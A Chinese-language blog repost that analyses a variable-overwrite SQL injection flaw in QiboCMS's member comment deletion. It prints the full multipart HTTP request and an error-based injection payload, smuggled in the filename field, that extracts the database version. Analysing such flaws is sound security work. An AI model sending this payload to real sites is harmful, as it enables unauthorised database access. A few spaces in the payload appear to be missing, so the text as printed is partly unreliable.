您的位置:首页 > 数据库

齐博CMS变量覆盖导致sql注入漏洞分析

2015-03-11 17:20 991 查看
齐博CMS变量覆盖导致sql注入漏洞分析

漏洞具体详情见http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.AooULy&id=13

1. 根据阿里文章会员中心评论管理member/comment.php中存在变量cidDB未初始化,所以从此处开始利用对评论批量删除,抓包查看



2.exp利用全局变量$_FILES的注册变量控制不严,所以需要在request请求中增加一段文件上传代码,代码如下:

Content-Type: multipart/form-data;boundary=---------------------------159592790718612

Content-Length: 296

-----------------------------159592790718612

Content-Disposition: form-data; name="file";filename="123.txt"

Content-Type: text/plain

test

-----------------------------159592790718612

Content-Disposition: form-data;name="submit"

submit

-----------------------------159592790718612—

当利用common.inc.php处理request时,将会注册$_FILES的变量。覆盖变量cidDB,



当$cidDB被遍历查询是,$value就是filename的值,即注入playload。



从上面可以看到查询结果并不回显,用报错注入或盲注。

最终playload为Connection: keep-alive

Content-Type: multipart/form-data;boundary=---------------------------298212969230504

Content-Length: 392

-----------------------------298212969230504

Content-Disposition: form-data;name="cidDB"; filename="7' and (select 1 from(selectcount(*),concat((select (select (select concat(0x7e,version(),0x7e))) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)#"

Content-Type: text/plain

test

-----------------------------298212969230504—

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: